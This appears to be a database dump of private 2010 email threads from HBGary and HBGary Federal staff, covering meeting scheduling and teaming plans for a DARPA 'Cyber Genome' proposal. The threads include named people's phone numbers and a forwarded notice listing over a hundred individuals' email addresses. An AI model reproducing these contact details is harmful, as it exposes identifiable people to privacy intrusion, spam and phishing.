Virtual\r\nIntroduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow does 2 PM sound on Feb 4th&nbsp;(Thursday )?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, January\r\n28, 2010 1:43 PM\r\nTo:&nbsp;Mulville, Michael E.\r\nSubject:&nbsp;Re: Virtual\r\nIntroduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow does next Thursday work? &nbsp;It shows I responded to\r\nyou already but not sure what I responded with...a bit crazy here as well. :)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the note back.&nbsp; This week is a bit crazy,&nbsp;\r\nhow about next ?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, January 25,\r\n2010 11:29 PM\r\nTo:&nbsp;Mulville, Michael E.\r\nSubject:&nbsp;Re: Virtual\r\nIntroduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI actually didn\'t head out to DC3. &nbsp;I will be out in\r\nColorado Springs most of next week. &nbsp;How does your week this week look.\r\n&nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt &#8211;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the introduction.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, I&#8217;m meeting up with Bob Slapnik shortly to discuss\r\nneeds, and direction.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI assuming your headed out to the DC3 show in St. Louis, but\r\nmight be a good idea to meet up, upon your return.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks &#8211; Mike Mulville\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matt O\'Flynn\r\n[mailto:matt@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, January\r\n21, 2010 1:50 PM\r\nTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron\r\nBarr\'\r\nSubject:&nbsp;Virtual\r\nIntroduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\n&amp; Michael,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nseeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our\r\nsubsidiary who is specializing in the services we discussed. See contact info\r\nbelow. Hopefully you will find one another&#8217;s capabilities very\r\ncomplementary.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n719-510-8478-Cell\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike\r\nMulville\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n703-622-9121\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMichael\r\nCourtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n443-306-5683\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\nO\'Flynn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n954-559-6934\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwww.hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9260,'aaron_hbgary_com/9260.html'),(2289,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001035.M607407P3547Q2289.eml','\"Cassie Robinson\" <cassie.robinson@ngc.com>','Meeting today','Hi Cassie,\r\n\r\nDo you know whether or not our meeting today at 4pm is going to go on as planned.\r\n\r\nAaron\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6473,'aaron_hbgary_com/6473.html'),(2290,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001035.M808840P3547Q2290.eml','\"Cassie Robinson\" <cassie.robinson@ngc.com>','Weather','Haha.\r\n\r\nWow I need some help.\r\n\r\nYep.  I was looking at Wednesdays calendar.  The weather has thrown it and me all out of wack.\r\n\r\nDid you survive the storm ok?  I had some decent size tree limbs land on my car but they turned out ok.\r\n\r\nIs Tom planning to be at the meeting as well.  If he is is it possible to meet with him a few minutes before hand.  I have an idea to throw by him, but want to do it in person.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6325,'aaron_hbgary_com/6325.html'),(2291,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001035.M991265P3547Q2291.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: Virtual Introduction','Thats looks good. &nbsp;I will send out a meeting notice.AaronOn Feb 9, 2010, at 9:03 AM, Mulville, Michael E. wrote:Aaron –&nbsp;Will be tough to squeeze it in this week.&nbsp; How does Feb 15th&nbsp;afternoon – 11 AM sound ?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 10:02 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;Hi Mike,&nbsp;I can\'t remember what time frame last we discussed, things have been turned a bit around. &nbsp;What does this week look like for you?&nbsp;Aaron&nbsp;On Feb 4, 2010, at 2:35 PM, Mulville, Michael E. wrote:Aaron –&nbsp;Any time possible next week ?&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Mulville, Michael E.&nbsp;Sent:&nbsp;Thursday, January 28, 2010 2:27 PMTo:&nbsp;Aaron BarrSubject:&nbsp;RE: Virtual Introduction&nbsp;Aaron –&nbsp;How does 2 PM sound on Feb 4th&nbsp;(Thursday )?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 28, 2010 1:43 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;How does next Thursday work? &nbsp;It shows I responded to you already but not sure what I responded with...a bit crazy here as well. :)&nbsp;AaronOn Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:&nbsp;Aaron –&nbsp;Thanks for the note back.&nbsp; This week is a bit crazy,&nbsp; how about next ?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 11:29 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;I actually didn\'t head out to DC3. &nbsp;I will be out in Colorado Springs most of next week. &nbsp;How does your week this week look. &nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?&nbsp;Aaron&nbsp;&nbsp;On Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:Matt –&nbsp;Thanks for the introduction.&nbsp;Aaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.&nbsp;I assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.&nbsp;Thanks – Mike Mulville&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Matt O\'Flynn [mailto:matt@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 21, 2010 1:50 PMTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron Barr\'Subject:&nbsp;Virtual Introduction&nbsp;Mike &amp; Michael,&nbsp;Good seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.&nbsp;Aaron Barr719-510-8478-Cell&nbsp;Mike Mulville703-622-9121&nbsp;Michael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;443-306-5683&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934www.hbgary.com&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4260,'aaron_hbgary_com/4260.html'),(2292,'2010-02-09','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001036.M257616P3547Q2292.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: Cyber Genome, WHO\'s WHO','Aaron,\r\n \r\nCheck out http://www.securedecisions.com/\r\nThis is a small company with visualization and data analytics tools.  They have won a fair number of gov&#39;t contracts to develop their software.  They approached me last week asking if they could team with us.\r\n\r\nAnita D&#39;Amico, PhD / 631-754-4920 x147 / anitad@securedecisions.avi.com\r\nPaul Walczak\r\n \r\n \r\n \r\nBob\r\n \r\n \r\nOn Mon, Feb 8, 2010 at 10:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nWe don&#39;t want to put too much effort into developing a complete offering until we see where the teaming falls out.  We will have to integrate or at least weave our offering in with our team mates.  But definitely good to have an outline/rough story. \r\n\r\nWe know we are going to have to deal with a massive amount of data, categorization, comparison, visualization.  Automated data processing at this level will requires some strong math/data analytics.  Who are some folks that like to push the boundaries and not just within their existing product line.\r\n\r\n\r\nIn the end it may just come down to us, GD and/or Sparta with maybe a little NG.  Once the dollars get split out per year your talking a little over $10M for 4 tasks, say $2.5M per task per year for only 1 award per tech area, reduced value if there is more.  The big contractors can eat through that pretty quickly.  So any additions to the team would need significant cause.\r\n\r\n\r\nWho pushes the boundaries of data analytics?\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 10:20 PM, Bob Slapnik wrote:\r\n\r\nWe know a lot of these people.  HBGary needs to think through its tech approach, then we will have a better handle on where we have holes.  In particular, I&#39;d love to see Greg put fingers to the keyboard and start pounding out some ideas and diagrams.  We&#39;ve won in the past when we wrapped our proposal around some core ideas from the inner reaches of Greg&#39;s creative genius.\r\n\r\n \r\nGreg, for better or worse, you are squarely on the critical path to HBGary completing 3 excellent winning proposals.\r\n \r\nOn Mon, Feb 8, 2010 at 9:57 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nSo based on this list a few questions. \r\n\r\n1. Is there anyone on the list that stands out as good team mates, even the smalls.  Someone that brings thought leadership to the digital artifact problem.\r\n2. Why didn&#39;t folks that know us that are on the list call us?  Mr. Don Bailey.\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 9:50 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\nThis list has lots of gov&#39;t contractors for me to send emails to or track down their phone numbers to call them.  After all, these people have expressed interest in malware related topics.\r\n \r\nOn Mon, Feb 8, 2010 at 9:27 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nLooks like she screwed up.  Lol, didn&#39;t find mandiant anywhere on here, but there are alot of familier names...\r\n \r\n-Greg\r\n---------- Forwarded message ----------From: Moore, Renee (contr-sto) &lt;Renee.Moore.ctr@darpa.mil&gt;\r\nDate: Mon, Feb 8, 2010 at 5:33 PMSubject: OFFICIAL CANCELLATION: CYBER GENOME PROPOSER&#39;S DAYTo: &quot;justin.hornberger@obsidiancyber.com&quot; &lt;justin.hornberger@obsidiancyber.com&gt;, &quot;vernon.joyner@qinetiq-na.com&quot; &lt;vernon.joyner@qinetiq-na.com&gt;, &quot;deborah.frincke@pnl.gov&quot; &lt;deborah.frincke@pnl.gov&gt;, &quot;jaime@semandex.net&quot; &lt;jaime@semandex.net&gt;, &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;, &quot;bob@hbgary.com&quot; &lt;bob@hbgary.com&gt;, &quot;greg@hbgary.com&quot; &lt;greg@hbgary.com&gt;, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt;, &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;, &quot;daniel.blitz@honeywell.com&quot; &lt;daniel.blitz@honeywell.com&gt;, &quot;shawn_ricketts@appsig.com&quot; &lt;shawn_ricketts@appsig.com&gt;, &quot;mfisk@lanl.gov&quot; &lt;mfisk@lanl.gov&gt;, &quot;skdao@hrl.com&quot; &lt;skdao@hrl.com&gt;, &quot;gholland@hrl.com&quot; &lt;gholland@hrl.com&gt;, &quot;gemami@globalinfotek.com&quot; &lt;gemami@globalinfotek.com&gt;, &quot;nigam@globalinfotek.com&quot; &lt;nigam@globalinfotek.com&gt;, &quot;mbanderson@teledyne.com&quot; &lt;mbanderson@teledyne.com&gt;, &quot;westby@globalcyberrisk.com&quot; &lt;westby@globalcyberrisk.com&gt;, &quot;bob@stratton.net&quot; &lt;bob@stratton.net&gt;, &quot;waa@cs.umd.edu&quot; &lt;waa@cs.umd.edu&gt;, &quot;brian.masterson@ngc.com&quot; &lt;brian.masterson@ngc.com&gt;, &quot;michael.witten@gtri.gatech.edu&quot; &lt;michael.witten@gtri.gatech.edu&gt;, &quot;dbailey@blackbirdtech.com&quot; &lt;dbailey@blackbirdtech.com&gt;, &quot;aiodice@blackbirdtech.com&quot; &lt;aiodice@blackbirdtech.com&gt;, &quot;jlowry@bbn.com&quot; &lt;jlowry@bbn.com&gt;, &quot;bfanelli@allencorporation.com&quot; &lt;bfanelli@allencorporation.com&gt;, &quot;vikram@i-a-i.com&quot; &lt;vikram@i-a-i.com&gt;, &quot;drankin@kadix.com&quot; &lt;drankin@kadix.com&gt;, &quot;bob@semandex.net&quot; &lt;bob@semandex.net&gt;, &quot;dean_a_gossett@raytheon.com&quot; &lt;dean_a_gossett@raytheon.com&gt;, &quot;tmccabe@mccabe.com&quot; &lt;tmccabe@mccabe.com&gt;, &quot;demoney@sri.com&quot; &lt;demoney@sri.com&gt;, &quot;rob@netwitness.com&quot; &lt;rob@netwitness.com&gt;, &quot;jzhou@teledyne.com&quot; &lt;jzhou@teledyne.com&gt;, &quot;swarup@mitre.org&quot; &lt;swarup@mitre.org&gt;, &quot;brianneo@securedecisions.avi.com&quot; &lt;brianneo@securedecisions.avi.com&gt;, &quot;jnhq@yahoo.com&quot; &lt;jnhq@yahoo.com&gt;, &quot;valerie.guralnik@honeywell.com&quot; &lt;valerie.guralnik@honeywell.com&gt;, &quot;Andy.Thompson@jhuapl.edu&quot; &lt;Andy.Thompson@jhuapl.edu&gt;, &quot;mjunod@atl.lmco.com&quot; &lt;mjunod@atl.lmco.com&gt;, &quot;rishab.malhotra@saic.com&quot; &lt;rishab.malhotra@saic.com&gt;, &quot;bayj@ainfosec.com&quot; &lt;bayj@ainfosec.com&gt;, &quot;shamilton@distributedinfinity.com&quot; &lt;shamilton@distributedinfinity.com&gt;, &quot;aott@distributedinfinity.com&quot; &lt;aott@distributedinfinity.com&gt;, &quot;souvas@ainfosec.com&quot; &lt;souvas@ainfosec.com&gt;, &quot;Tom@tgoodwincom.com&quot; &lt;Tom@tgoodwincom.com&gt;, &quot;jgibbins@distributedinfinity.com&quot; &lt;jgibbins@distributedinfinity.com&gt;, &quot;jay.civitillO@sypris.com&quot; &lt;jay.civitillO@sypris.com&gt;, &quot;email@stefanoforesti.com&quot; &lt;email@stefanoforesti.com&gt;, &quot;matthew_elder@symantec.com&quot; &lt;matthew_elder@symantec.com&gt;, &quot;raj.rajagopalan@hp.com&quot; &lt;raj.rajagopalan@hp.com&gt;, &quot;troy.swinehart@sypris.com&quot; &lt;troy.swinehart@sypris.com&gt;, &quot;hal.aldridge@sypris.com&quot; &lt;hal.aldridge@sypris.com&gt;, &quot;gshannon@setcorp.com&quot; &lt;gshannon@setcorp.com&gt;, &quot;vijay@ciphersolutions.com&quot; &lt;vijay@ciphersolutions.com&gt;, &quot;george@roguegenius.com&quot; &lt;george@roguegenius.com&gt;, &quot;patrick.w.phillips@saic.com&quot; &lt;patrick.w.phillips@saic.com&gt;, &quot;richard.arnold@macb.com&quot; &lt;richard.arnold@macb.com&gt;, &quot;preston.werntz@dhs.gov&quot; &lt;preston.werntz@dhs.gov&gt;, &quot;dihrie@semandex.net&quot; &lt;dihrie@semandex.net&gt;, &quot;jason.upchurch@gd-ais.com&quot; &lt;jason.upchurch@gd-ais.com&gt;, &quot;danstevenson@rti.org&quot; &lt;danstevenson@rti.org&gt;, &quot;michael.harbison@gd-ais.com&quot; &lt;michael.harbison@gd-ais.com&gt;, &quot;harold.Rodriguez@gd-asi.com&quot; &lt;harold.Rodriguez@gd-asi.com&gt;, &quot;mccusker@sonalysts.com&quot; &lt;mccusker@sonalysts.com&gt;, &quot;scottso@sonalysts.com&quot; &lt;scottso@sonalysts.com&gt;, &quot;marc.zbinden@nisc-llc.com&quot; &lt;marc.zbinden@nisc-llc.com&gt;, &quot;patrick@tripledex.com&quot; &lt;patrick@tripledex.com&gt;, &quot;ebasu@sentekglobal.com&quot; &lt;ebasu@sentekglobal.com&gt;, &quot;kevin.morrison@parsons.com&quot; &lt;kevin.morrison@parsons.com&gt;, &quot;ltinnel@globalinfotek.com&quot; &lt;ltinnel@globalinfotek.com&gt;, &quot;rick.mcgeer@hp.com&quot; &lt;rick.mcgeer@hp.com&gt;, &quot;stephen.barish@macb.com&quot; &lt;stephen.barish@macb.com&gt;, &quot;patrick.crago@nisc-llc.com&quot; &lt;patrick.crago@nisc-llc.com&gt;, &quot;dxu@cs.purdue.edu&quot; &lt;dxu@cs.purdue.edu&gt;, &quot;dave_m_gursky@raytheon.com&quot; &lt;dave_m_gursky@raytheon.com&gt;, &quot;guttman@us.ibm.com&quot; &lt;guttman@us.ibm.com&gt;, &quot;toweissy@vt.edu&quot; &lt;toweissy@vt.edu&gt;, &quot;ccramer@siginnovations.com&quot; &lt;ccramer@siginnovations.com&gt;, &quot;lkennedy@siginnovations.com&quot; &lt;lkennedy@siginnovations.com&gt;, &quot;lbengfort@cengen.com&quot; &lt;lbengfort@cengen.com&gt;, &quot;lkain@cra.com&quot; &lt;lkain@cra.com&gt;, &quot;aghosh1@gmu.edu&quot; &lt;aghosh1@gmu.edu&gt;, &quot;joshua.davis@gtri.gatech.edu&quot; &lt;joshua.davis@gtri.gatech.edu&gt;, &quot;zmitchell@logostech.net&quot; &lt;zmitchell@logostech.net&gt;, &quot;j@appranger.com&quot; &lt;j@appranger.com&gt;, &quot;kane@referentia.com&quot; &lt;kane@referentia.com&gt;, &quot;jsmith@referentia.com&quot; &lt;jsmith@referentia.com&gt;, &quot;twilliams@referentia.com&quot; &lt;twilliams@referentia.com&gt;, &quot;dchang@referentia.com&quot; &lt;dchang@referentia.com&gt;, &quot;kphillips@overwatch.textron.com&quot; &lt;kphillips@overwatch.textron.com&gt;, &quot;sdynes@dartmouth.edu&quot; &lt;sdynes@dartmouth.edu&gt;, &quot;michael.collins@redjack.com&quot; &lt;michael.collins@redjack.com&gt;, &quot;greg.virgin@redjack.com&quot; &lt;greg.virgin@redjack.com&gt;, &quot;john.mchugh@redjack.com&quot; &lt;john.mchugh@redjack.com&gt;, &quot;jeff.janies@redjack.com&quot; &lt;jeff.janies@redjack.com&gt;, &quot;sang.chin@jhuapl.edu&quot; &lt;sang.chin@jhuapl.edu&gt;, &quot;paul.b.jaynes@raytheon.com&quot; &lt;paul.b.jaynes@raytheon.com&gt;, &quot;rlinge@sei.cmu.edu&quot; &lt;rlinge@sei.cmu.edu&gt;, &quot;soswald@sigovs.com&quot; &lt;soswald@sigovs.com&gt;, &quot;kppande@msn.com&quot; &lt;kppande@msn.com&gt;, &quot;steve@atc-nycorp.com&quot; &lt;steve@atc-nycorp.com&gt;, &quot;hinoue@atc-nycorp.com&quot; &lt;hinoue@atc-nycorp.com&gt;, &quot;jadavis4@rockwellcollins.com&quot; &lt;jadavis4@rockwellcollins.com&gt;, &quot;tburgess@securedsciences.com&quot; &lt;tburgess@securedsciences.com&gt;, &quot;jeehye@securedsciences.com&quot; &lt;jeehye@securedsciences.com&gt;, &quot;walczak@avi.com&quot; &lt;walczak@avi.com&gt;, &quot;caguerreri@gmail.com&quot; &lt;caguerreri@gmail.com&gt;, &quot;raj.kant@baesystems.com&quot; &lt;raj.kant@baesystems.com&gt;, &quot;rlevy@i-a-i.com&quot; &lt;rlevy@i-a-i.com&gt;, &quot;ONeillDon@aol.com&quot; &lt;ONeillDon@aol.com&gt;, &quot;Rod.Tjoelker@Boeing.com&quot; &lt;Rod.Tjoelker@boeing.com&gt;, &quot;dmatsunaga@referentia.com&quot; &lt;dmatsunaga@referentia.com&gt;, &quot;gratson@research.ge.com&quot; &lt;gratson@research.ge.com&gt;, &quot;matarazzo1@llnl.gov&quot; &lt;matarazzo1@llnl.gov&gt;, &quot;christian.espinosa@eads-na-security.com&quot; &lt;christian.espinosa@eads-na-security.com&gt;, &quot;geaton@milcord.com&quot; &lt;geaton@milcord.com&gt;, &quot;tom@mccabetech.com&quot; &lt;tom@mccabetech.com&gt;, &quot;pc@mitre.org&quot; &lt;pc@mitre.org&gt;, &quot;michael.zeberlein@harris.com&quot; &lt;michael.zeberlein@harris.com&gt;, &quot;sbarnum@cigital.com&quot; &lt;sbarnum@cigital.com&gt;, &quot;evans@ge.com&quot; &lt;evans@ge.com&gt;, &quot;judith.c.spering@boeing.com&quot; &lt;judith.c.spering@boeing.com&gt;, &quot;philippe.byrnes@ddefend.com&quot; &lt;philippe.byrnes@ddefend.com&gt;, &quot;adinaburg@sigovs.cm&quot; 